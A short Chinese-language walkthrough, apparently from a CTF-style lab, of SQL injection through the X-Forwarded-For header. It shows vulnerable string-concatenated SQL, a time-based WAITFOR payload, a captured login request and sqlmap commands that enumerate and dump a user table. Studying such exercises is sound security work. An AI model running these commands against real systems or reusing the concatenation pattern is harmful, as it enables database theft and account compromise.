介绍
- 由于系统一般会采用String ip = request.getHeader(“X-Forwarded-For”);进行获取ip,然后注入者就可以通过X-Forwarded-For请求头信息就行伪造ip,当然了这个ip也可以是一些注入语句,如下
X-Forwarded-For:payload';WAITFOR DELAY '0:0:5'--
String sql = "select * from table where ip = '"+ip+"'";
- 那么我们得到的sql语句就会是这样
select * from table where ip = payload';WAITFOR DELAY '0:0:5'--'
- 这样就容易被人进行sql攻击,快看一下自己的项目里面是不是有这样的获取ip的方式,有的话如果sql没有预编译,那么肯定可以进行sql注入攻击
目标
- 对登录表单的各参数进行测试,找到SQL注入点,对数据库内容进行读取,找到账号与密码。
步骤
- burpsuite抓取,发送请求,返回失败信息和自己的IP
POST /index.php HTTP/1.1
Host: x.x.x.x:45584
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://x.x.x.x45584
Connection: close
Referer: http://x.x.x.x:45584/
Upgrade-Insecure-Requests: 1
username=admin&password=admin
- 利用请求头
X_Forwarded-For
伪装为127.0.0.1
进行测试-
X-Forwarded-For
:请求投中用于显示代理真实ip
-
复制请求体中的raw下的所有信息,存放到一个txt文件中
-
使用sqlmap执行以下语句爆出数据库
-
sqlmap -r xff.txt --dbs --batch
- 爆出数据表
sqlmap -r xff.txt -D webcalendar --tables
- 脱库,得到用户名和密码
sqlmap -r xff.txt -D webcalendar --tables -T user --dump
- 登录,得到key